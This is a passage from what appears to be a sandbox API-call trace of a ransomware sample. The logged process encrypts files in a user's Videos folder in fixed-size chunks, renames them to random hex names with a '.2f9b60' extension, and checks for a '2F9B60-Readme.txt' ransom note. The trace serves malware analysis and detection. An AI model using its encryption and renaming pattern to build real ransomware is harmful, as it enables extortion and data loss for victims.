_Format="%c%c" | out: _Dest="8e") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c716, _Format="%c%c" | out: _Dest="f9") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c718, _Format="%c%c" | out: _Dest="ab") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c71a, _Format="%c%c" | out: _Dest="f3") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c71c, _Format="%c%c" | out: _Dest="dd") returned 2 [0094.462] sprintf (in: _Dest=0x1cd9c71e, _Format="%c%c" | out: _Dest="f2") returned 2 [0094.462] RtlInitAnsiString (in: DestinationString=0x24f2fd28, SourceString="075a879cc26404047a6037df7e7c48df1578459c45dffa19b9cbbd2a249735ea2ec98ef9abf3ddf2" | out: DestinationString="075a879cc26404047a6037df7e7c48df1578459c45dffa19b9cbbd2a249735ea2ec98ef9abf3ddf2") [0094.462] RtlAnsiStringToUnicodeString (in: DestinationString=0x24f2fcf8, SourceString="075a879cc26404047a6037df7e7c48df1578459c45dffa19b9cbbd2a249735ea2ec98ef9abf3ddf2", AllocateDestinationString=1 | out: DestinationString="075a879cc26404047a6037df7e7c48df1578459c45dffa19b9cbbd2a249735ea2ec98ef9abf3ddf2") returned 0x0 [0094.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11600 [0094.462] wcscat (in: _Dest=0x1b784370, _Source="075a879cc26404047a60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\075a879cc26404047a60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\075a879cc26404047a60" [0094.462] wcscat (in: _Dest=0x1b784370, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\075a879cc26404047a60.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\075a879cc26404047a60.2f9b60" [0094.462] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\075a879cc26404047a60.2f9b60", NtPathName=0x24f2fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\075a879cc26404047a60.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1ce114a0 [0094.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0094.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.464] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x24f2fd38, FileInformation=0x24f2fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24f2fd38, FileInformation=0x24f2fd48) returned 0x0 [0094.464] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x24f2fd38, FileInformation=0x24f2fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784370) returned 1 [0094.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11600) returned 1 [0094.466] FlushFileBuffers (hFile=0xd90) returned 1 [0094.467] CloseHandle (hObject=0xd90) returned 1 [0094.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0094.468] wcscpy (in: _Dest=0x1b866440, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.468] wcscat (in: _Dest=0x1b866440, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.468] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 Thread: id = 565 os_tid = 0xe98 [0094.471] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eQmBLS7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\eqmbls7.mkv")) returned 0x20 [0094.471] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eQmBLS7.mkv", dwFileAttributes=0x20) returned 1 [0094.471] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eQmBLS7.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\eqmbls7.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.471] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x252cf920 | out: lpFileSize=0x252cf920*=94196) returned 1 [0094.471] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x16ff0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.471] ReadFile (in: hFile=0xd90, lpBuffer=0x252cf8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x252cf8e8, lpOverlapped=0x0 | out: lpBuffer=0x252cf8a0*, lpNumberOfBytesRead=0x252cf8e8*=0x4, lpOverlapped=0x0) returned 1 [0094.472] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0094.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.473] NtQuerySystemTime (in: CurrentTime=0x252cf7e0 | out: CurrentTime=0x252cf7e0*=132462177002998000) returned 0x0 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x7f2d56b1 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x4c9d1078 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x2234adb [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x3c45b782 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x6722f2b0 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x406e9945 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x4593ab52 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x3e294949 [0094.473] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x1b9df3f6 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x6118d67b [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x2fd18f92 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x28b7f449 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x4dbfc538 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x1d4d5080 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x54d5c1f7 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x47caff5a [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x2e333675 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x709056bf [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x6ae36454 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x7efdab2 [0094.474] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x404a0982 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0xd1cf97 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x2dfee584 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x437bbe36 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x706c6bd [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x29be6b29 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x2118d899 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x5963603 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x6f7572d [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x6a42d8f1 [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x34aac12d [0094.475] RtlRandomEx (in: Seed=0x252cf7d0 | out: Seed=0x252cf7d0) returned 0x1c96c1bc [0094.484] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.484] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x252cf840, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x252cf840*=0x3c00, lpOverlapped=0x0) returned 1 [0094.484] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0094.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0094.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.485] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x252cf840, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x252cf840*=0x3c00, lpOverlapped=0x0) returned 1 [0094.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.489] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.489] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x252cf840, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x252cf840*=0x3c00, lpOverlapped=0x0) returned 1 [0094.489] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0094.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0094.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0094.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.490] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x252cf840, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x252cf840*=0x3c00, lpOverlapped=0x0) returned 1 [0094.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.491] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x133f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.491] ReadFile (in: hFile=0xd90, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x252cf840, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x252cf840*=0x3c00, lpOverlapped=0x0) returned 1 [0094.491] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x133f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0094.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.492] WriteFile (in: hFile=0xd90, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x252cf840, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x252cf840*=0x3c00, lpOverlapped=0x0) returned 1 [0094.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ee90 [0094.493] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.494] WriteFile (in: hFile=0xd90, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x252cf8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x252cf8f0*=0x148, lpOverlapped=0x0) returned 1 [0094.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0094.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb50 [0094.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb50) returned 1 [0094.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f2f0 [0094.497] sprintf (in: _Dest=0x1cd9f2f0, _Format="%c%c" | out: _Dest="d9") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f2f2, _Format="%c%c" | out: _Dest="a3") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f2f4, _Format="%c%c" | out: _Dest="65") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f2f6, _Format="%c%c" | out: _Dest="82") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f2f8, _Format="%c%c" | out: _Dest="c5") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f2fa, _Format="%c%c" | out: _Dest="c6") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f2fc, _Format="%c%c" | out: _Dest="96") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f2fe, _Format="%c%c" | out: _Dest="8a") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f300, _Format="%c%c" | out: _Dest="8a") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f302, _Format="%c%c" | out: _Dest="ff") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f304, _Format="%c%c" | out: _Dest="7f") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f306, _Format="%c%c" | out: _Dest="53") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f308, _Format="%c%c" | out: _Dest="6b") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f30a, _Format="%c%c" | out: _Dest="f4") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f30c, _Format="%c%c" | out: _Dest="73") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f30e, _Format="%c%c" | out: _Dest="41") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f310, _Format="%c%c" | out: _Dest="0a") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f312, _Format="%c%c" | out: _Dest="b7") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f314, _Format="%c%c" | out: _Dest="c3") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f316, _Format="%c%c" | out: _Dest="43") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f318, _Format="%c%c" | out: _Dest="db") returned 2 [0094.497] sprintf (in: _Dest=0x1cd9f31a, _Format="%c%c" | out: _Dest="49") returned 2 [0094.498] RtlInitAnsiString (in: DestinationString=0x252cf968, SourceString="d9a36582c5c6968a8aff7f536bf473410ab7c343db49" | out: DestinationString="d9a36582c5c6968a8aff7f536bf473410ab7c343db49") [0094.498] RtlAnsiStringToUnicodeString (in: DestinationString=0x252cf938, SourceString="d9a36582c5c6968a8aff7f536bf473410ab7c343db49", AllocateDestinationString=1 | out: DestinationString="d9a36582c5c6968a8aff7f536bf473410ab7c343db49") returned 0x0 [0094.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86edb0 [0094.498] wcscat (in: _Dest=0x1b8664c0, _Source="d9a36582c5c" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\d9a36582c5c") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\d9a36582c5c" [0094.498] wcscat (in: _Dest=0x1b8664c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\d9a36582c5c.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\d9a36582c5c.2f9b60" [0094.498] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\d9a36582c5c.2f9b60", NtPathName=0x252cf910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\d9a36582c5c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad5c0 [0094.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0094.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.500] NtQueryInformationFile (in: FileHandle=0xd90, IoStatusBlock=0x252cf978, FileInformation=0x252cf988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x252cf978, FileInformation=0x252cf988) returned 0x0 [0094.500] NtSetInformationFile (FileHandle=0xd90, IoStatusBlock=0x252cf978, FileInformation=0x252cf988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0094.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 [0094.501] FlushFileBuffers (hFile=0xd90) returned 1 [0094.503] CloseHandle (hObject=0xd90) returned 1 [0094.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.504] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0094.504] wcscat (in: _Dest=0x1b8664c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" [0094.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2f9b60-readme.txt")) returned 0x20 [0094.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ef00) returned 1 Thread: id = 566 os_tid = 0xe9c [0094.512] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kP4I0A52fmMXShriyZ5.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kp4i0a52fmmxshriyz5.mp4")) returned 0x20 [0094.512] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kP4I0A52fmMXShriyZ5.mp4", dwFileAttributes=0x20) returned 1 [0094.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kP4I0A52fmMXShriyZ5.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\kp4i0a52fmmxshriyz5.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd90 [0094.513] GetFileSizeEx (in: hFile=0xd90, lpFileSize=0x2559fcc0 | out: lpFileSize=0x2559fcc0*=34590) returned 1 [0094.513] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x871a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.513] ReadFile (in: hFile=0xd90, lpBuffer=0x2559fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2559fc88, lpOverlapped=0x0 | out: lpBuffer=0x2559fc40*, lpNumberOfBytesRead=0x2559fc88*=0x4, lpOverlapped=0x0) returned 1 [0094.514] SetFilePointerEx (in: hFile=0xd90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0094.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0094.514] NtQuerySystemTime (in: CurrentTime=0x2559fb80 | out: CurrentTime=0x2559fb80*=132462177003466000) returned 0x0 [0094.514] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x3cc641c2 [0094.514] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x5d23a1d5 [0094.514] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x21e61101 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x40a82a76 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x510fcf7b [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x3408e517 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x1f954a0 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x621bc823 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x7561bd41 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x1da6f3ef [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x280a1fa6 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x4cf30afd [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x7b633306 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x5914abab [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x26936f2a [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0xacfb26a [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x42527e26 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x33f9c978 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x8f85c5a [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x51819c87 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x3de5425c [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x636f789d [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) returned 0x58876065 [0094.515] RtlRandomEx (in: Seed=0x2559fb70 | out: Seed=0x2559fb70) 